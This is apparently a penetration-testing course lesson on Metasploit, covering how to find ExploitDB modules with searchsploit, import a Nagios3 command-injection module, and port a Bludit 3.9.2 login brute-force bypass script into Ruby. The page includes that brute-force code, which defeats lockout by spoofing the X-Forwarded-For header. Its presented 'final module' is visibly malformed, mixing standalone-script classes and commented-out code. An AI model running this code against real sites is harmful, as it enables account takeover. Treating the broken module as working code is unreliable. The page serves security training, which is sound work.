

Writing and Importing Modules

To install any new Metasploit modules which have already been ported over by other users, one can choose to update their `msfconsole` from the terminal, which will ensure that all newest exploits, auxiliaries, and features will be installed in the latest version of `msfconsole`. As long as the ported modules have been pushed into the main Metasploit-framework branch on GitHub, we should be updated with the latest modules.

However, if we need only a specific module and do not want to perform a full upgrade, we can download that module and install it manually. We will focus on searching ExploitDB for readily available Metasploit modules, which we can directly import into our version of `msfconsole` locally.

[ExploitDB](#) is a great choice when searching for a custom exploit. We can use tags to search through the different exploitation scenarios for each available script. One of these tags is [Metasploit Framework \(MSF\)](#), which, if selected, will display only scripts that are also available in Metasploit module format. These can be directly downloaded from ExploitDB and installed in our local Metasploit Framework directory, from where they can be searched and called from within the `msfconsole`.

The screenshot shows the Exploit Database website with the following search filters: Type: Any, Platform: Any, Author: Begin typing..., Port: Any, Tag: Metasploit Framework (MSF). The results table is as follows:

Date	D	A	V	Title	Type	Platform	Author
2020-05-25	📄	✓		Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)	Remote	Hardware	Metasploit
2020-05-25	📄	✓		Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)	Remote	Windows	Metasploit
2020-05-22	📄	✓		WebLogic Server - Deserialization RCE - BadAttributeValueException (Metasploit)	Remote	Multiple	Metasploit
2020-05-19	📄	✓		Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)	Remote	PHP	Metasploit
2020-05-01	📄	✓		Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit)	Remote	Multiple	Metasploit
2020-04-28	📄	✓		Docker-Credential-Wincred.exe - Privilege Escalation (Metasploit)	Local	Windows	Metasploit

Let's say we want to use an exploit found for [Nagios3](#), which will take advantage of a command injection vulnerability. The module we are looking for is [Nagios3 - 'statuswml.cgi' Command Injection \(Metasploit\)](#). So we fire up `msfconsole` and try to search for that specific exploit, but we cannot find it. This means that our Metasploit framework is not up to date or that the specific [Nagios3](#) exploit module we are looking for is not in the official updated release of the Metasploit Framework.

MSF - Search for Exploits

Writing and Importing Modules

```
msf6 > search nagios

Matching Modules
=====

#  Name                                                                                               Disclosure Date  Rank  Check  Descrip
```

-	-----	-----	-----	-----	-----
0	exploit/linux/http/nagios_xi_authenticated_rce	2019-07-29	excellent	Yes	Nagios
1	exploit/linux/http/nagios_xi_chained_rce	2016-03-06	excellent	Yes	Nagios
2	exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo	2018-04-17	manual	Yes	Nagios
3	exploit/linux/http/nagios_xi_magpie_debug	2018-11-14	excellent	Yes	Nagios
4	exploit/linux/misc/nagios_nrpe_arguments	2013-02-21	excellent	Yes	Nagios
5	exploit/unix/webapp/nagios3_history.cgi	2012-12-09	great	Yes	Nagios3
6	exploit/unix/webapp/nagios_graph_explorer	2012-11-30	excellent	Yes	Nagios
7	post/linux/gather/enum_nagios_xi	2018-04-17	normal	No	Nagios

We can, however, find the exploit code [inside ExploitDB's entries](#). Alternatively, if we do not want to use our web browser to search for a specific exploit within ExploitDB, we can use the CLI version, [searchsploit](#).

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ searchsploit nagios3
```

Exploit Title

```
Nagios3 - 'history.cgi' Host Command Execution (Metasploit)
Nagios3 - 'history.cgi' Remote Command Execution
Nagios3 - 'statuswml.cgi' 'Ping' Command Execution (Metasploit)
Nagios3 - 'statuswml.cgi' Command Injection (Metasploit)
```

Shellcodes: No Results

Note that the hosted file terminations that end in `.rb` are Ruby scripts that most likely have been crafted specifically for use within `msfconsole`. We can also filter only by `.rb` file terminations to avoid output from scripts that cannot run within `msfconsole`. Note that not all `.rb` files are automatically converted to `msfconsole` modules. Some exploits are written in Ruby without having any Metasploit module-compatible code in them. We will look at one of these examples in the following sub-section.

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ searchsploit -t Nagios3 --exclude=".py"
```

Exploit Title

```
Nagios3 - 'history.cgi' Host Command Execution (Metasploit)
Nagios3 - 'statuswml.cgi' 'Ping' Command Execution (Metasploit)
Nagios3 - 'statuswml.cgi' Command Injection (Metasploit)
```

Shellcodes: No Results

We have to download the `.rb` file and place it in the correct directory. The default directory where all the modules, scripts, plugins, and `msfconsole` proprietary files are stored is `/usr/share/metasploit-framework`. The critical folders are also symlinked in our home and root folders in the hidden `~/.msf4/` location.

MSF - Directory Structure

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ ls /usr/share/metasploit-framework/
```

```
app      db      Gemfile.lock      modules      msfdb      msfrpcd      msf-ws.ru      ruby
config   documentation  lib            msfconsole   msf-json-rpc.ru  msfupdate     plugins        script
data     Gemfile      metasploit-framework.gemspec  msfd         msfrpc      msfvenom     Rakefile       script
```

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ ls .msf4/

history  local  logos  logs  loot  modules  plugins  store
```

We copy it into the appropriate directory after downloading the [exploit](#). Note that our home folder `.msf4` location might not have all the folder structure that the `/usr/share/metasploit-framework/` one might have. So, we will just need to `mkdir` the appropriate folders so that the structure is the same as the original folder so that `msfconsole` can find the new modules. After that, we will be proceeding with copying the `.rb` script directly into the primary location.

Please note that there are certain naming conventions that, if not adequately respected, will generate errors when trying to get `msfconsole` to recognize the new module we installed. Always use snake-case, alphanumeric characters, and underscores instead of dashes.

For example:

- `nagios3_command_injection.rb`
- `our_module_here.rb`

MSF - Loading Additional Modules at Runtime

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ cp ~/Downloads/9861.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp/nagios3_command_injection.rb
dbcypth0n@htb[/htb]$ msfconsole -m /usr/share/metasploit-framework/modules/
```

MSF - Loading Additional Modules

Writing and Importing Modules

```
msf6> loadpath /usr/share/metasploit-framework/modules/
```

Alternatively, we can also launch `msfconsole` and run the `reload_all` command for the newly installed module to appear in the list. After the command is run and no errors are reported, try either the `search [name]` function inside `msfconsole` or directly with the `use [module-path]` to jump straight into the newly installed module.

Writing and Importing Modules

```
msf6 > reload_all
msf6 > use exploit/unix/webapp/nagios3_command_injection
msf6 exploit(unix/webapp/nagios3_command_injection) > show options
```

Module options (exploit/unix/webapp/nagios3_command_injection):

Name	Current Setting	Required	Description
----	-----	-----	-----
PASS	guest	yes	The password to authenticate with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
URI	/nagios3/cgi-bin/statuswml.cgi	yes	The full URI path to statuswml.cgi
USER	guest	yes	The username to authenticate with
VHOST		no	HTTP server virtual host

Exploit target:

Id	Name
--	----
0	Automatic Target

Now we are ready to launch it against our target.

Porting Over Scripts into Metasploit Modules

To adapt a custom Python, PHP, or any type of exploit script to a Ruby module for Metasploit, we will need to learn the Ruby programming language. Note that Ruby modules for Metasploit are always written using hard tabs.

When starting with a port-over project, we do not need to start coding from scratch. Instead, we can take one of the existing exploit modules from the category our project fits in and repurpose it for our current port-over script. Keep in mind to always keep our custom modules organized so that we and other penetration testers can benefit from a clean, organized environment when searching for custom modules.

We start by picking some exploit code to port over to Metasploit. In this example, we will go for [Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass](#). We will need to download the script, `48746.rb` and proceed to copy it into the `/usr/share/metasploit-framework/modules/exploits/linux/http/` folder. If we boot into `msfconsole` right now, we will only be able to find a single `Bludit CMS` exploit in the same folder as above, confirming that our exploit has not been ported over yet. It is good news that there is already a Bludit exploit in that folder because we will use it as boilerplate code for our new exploit.

Porting MSF Modules

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ ls /usr/share/metasploit-framework/modules/exploits/linux/http/ | grep bludit
bludit_upload_images_exec.rb
```

Writing and Importing Modules

```
dbcypth0n@htb[/htb]$ cp ~/Downloads/48746.rb /usr/share/metasploit-framework/modules/exploits/linux/http/bludit.
```

At the beginning of the file we copied, which is where we will be filling in our information, we can notice the `include` statements at the beginning of the boilerplate module. These are the mixins mentioned in the [Plugins and Mixins](#) section, and we will need to change these to the appropriate ones for our module.

If we want to find the appropriate mixins, classes, and methods required for our module to work, we will need to look up the different entries on the [rubydoc rapid7 documentation](#).

Writing Our Module

We will often face a custom-built network running proprietary code to serve its clients during specific assessments. Most of the modules we have at hand do not even make a dent in their perimeter, and we cannot seem to scan and document the target with anything we have correctly. This is where we might find it helpful to dust off our Ruby skills and start coding our modules.

All necessary information about Metasploit Ruby coding can be found on the [Rubydoc.info Metasploit Framework](#) related page. From scanners to other auxiliary tools, from custom-made exploits to ported ones, coding in Ruby for the Framework is an amazingly applicable skill.

Please look below at a similar module that we can use as boilerplate code for our exploit port-over. This is the [Bludit Directory Traversal Image File Upload Vulnerability](#) exploit, which has already been imported into [msfconsole](#). Take a moment to acknowledge all the different fields included in the module before the exploit proof-of-concept (POC). Note that this code has not been changed in the snippet below to fit our current import but is a direct snapshot of the pre-existing module mentioned above. The information will need to be adjusted accordingly for the new port-over project.

Proof-of-Concept - Requirements

Code: [ruby](#)

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report
```

We can look at the [include](#) statements to see what each one does. This can be done by cross-referencing them with the [rubydoc rapid7 documentation](#). Below are their respective functions as explained in the documentation:

Function	Description
Msf::Exploit::Remote::HttpClient	This module provides methods for acting as an HTTP client when exploiting an HTTP server.
Msf::Exploit::PhpEXE	This is a method for generating a first-stage php payload.
Msf::Exploit::FileDropper	This method transfers files and handles file clean-up after a session with the target is established.
Msf::Auxiliary::Report	This module provides methods for reporting data to the MSF DB.

Looking at their purposes above, we conclude that we will not need the FileDropper method, and we can drop it from the final module code.

We see that there are different sections dedicated to the [info](#) page of the module, the [options](#) section. We fill them in appropriately, offering the credit due to the individuals who discovered the exploit, the CVE information, and other relevant details.

Proof-of-Concept - Module Information

Code: [ruby](#)

```
def initialize(info={})
  super(update_info(info,
    'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
    'Description' => %q{
      This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
      parameter in the image upload feature in order to save a malicious payload anywhere
      onto the server, and then use a custom .htaccess file to bypass the file extension
      check to finally get remote code execution.
    },
    'License' => MSF_LICENSE,
```

```

'Author'          =>
[
  'christasa', # Original discovery
  'sinn3r'     # Metasploit module
],
'References'      =>
[
  ['CVE', '2019-16113'],
  ['URL', 'https://github.com/bludit/bludit/issues/1081'],
  ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea3'],
],
'Platform'       => 'php',
'Arch'           => ARCH_PHP,
'Notes'          =>
{
  'SideEffects' => [ IOC_IN_LOGS ],
  'Reliability' => [ REPEATABLE_SESSION ],
  'Stability'   => [ CRASH_SAFE ]
},
'Targets'        =>
[
  [ 'Bludit v3.9.2', {} ]
],
'Privileged'     => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget'  => 0))

```

After the general identification information is filled in, we can move over to the **options** menu variables:

Proof-of-Concept - Functions

Code: **ruby**

```

register_options(
  [
    OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
    OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
    OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
  ])
end

```

Looking back at our exploit, we see that a wordlist will be required instead of the **BLUDITPASS** variable for the module to brute-force the passwords for the same username. It would look something like the following snippet:

Code: **ruby**

```

OptPath.new('PASSWORDS', [ true, 'The list of passwords',
  File.join(Msf::Config.data_directory, "wordlists", "passwords.txt") ])

```

The rest of the exploit code needs to be adjusted according to the classes, methods, and variables used in the porting to the Metasploit Framework for the module to work in the end. The final version of the module would look like this:

Proof-of-Concept

Code: **ruby**

```

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'          => "Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass",
      'Description'    => %q{
        Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute f
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rastating', # Original discovery
          '0ne-nine9'  # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2019-17240'],
          ['URL', 'https://rastating.github.io/bludit-brute-force-mitigation-bypass/'],
          ['PATCH', 'https://github.com/bludit/bludit/pull/1090' ]
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Targets'        =>
        [
          [ 'Bludit v3.9.2', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "2019-10-05",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
        OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
        OptPath.new('PASSWORDS', [ true, 'The list of passwords',
          File.join(Msf::Config.data_directory, "wordlists", "passwords.txt") ])
      ])
    end

    # -- Exploit code -- #
    # dirty workaround to remove this warning:
    # Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need "." at the beginning.
    # see https://github.com/nahi/httpclient/issues/252
    class WebAgent
      class Cookie < HTTP::Cookie

```



```

class COOKIE < HTTP::COOKIE
  def domain
    self.original_domain
  end
end

def get_csrf(client, login_url)
  res = client.get(login_url)
  csrf_token = /input.+?name="tokenCSRF".+?value="(.*?)"/.match(res.body).captures[0]
end

def auth_ok?(res)
  HTTP::Status.redirect?(res.code) &&
    %r{/admin/dashboard}.match?(res.headers['Location'])
end

def bruteforce_auth(client, host, username, wordlist)
  login_url = host + '/admin/login'
  File.foreach(wordlist).with_index do |password, i|
    password = password.chomp
    csrf_token = get_csrf(client, login_url)
    headers = {
      'X-Forwarded-For' => "#{i}-#{password[..4]}",
    }
    data = {
      'tokenCSRF' => csrf_token,
      'username' => username,
      'password' => password,
    }
    puts "[*] Trying password: #{password}"
    auth_res = client.post(login_url, data, headers)
    if auth_ok?(auth_res)
      puts "\n[+] Password found: #{password}"
      break
    end
  end
end

#begin
#  args = Docopt.docopt(doc)
#  pp args if args['--debug']
#
#  clnt = HTTPClient.new
#  bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist'])
#rescue Docopt::Exit => e
#  puts e.message
#end

```

If you would like to learn more about porting scripts into the Metasploit Framework, check out the [Metasploit: A Penetration Tester's Guide book from No Starch Press](#). Rapid7 has also created blog posts on this topic, which can be found [here](#).

[< Previous](#)
[Next >](#)
[✔ Mark Complete & Next](#)
[📄 Cheat Sheet](#)

Table of Contents

Introduction

.....

Preface



Introduction to Metasploit



Introduction to MSFconsole



MSF Components

 Modules



Targets



 Payloads



Encoders



Databases



Plugins & Mixins



MSF Sessions

 Sessions & Jobs

 Meterpreter

Additional Features

[Writing & Importing Modules](#)

Introduction to MSFVenom

Firewall and IDS/IPS evasion

Metasploit-Framework Updates - August 2020

My Workstation

O F F L I N E

 Start Instance

 / 1 spawns left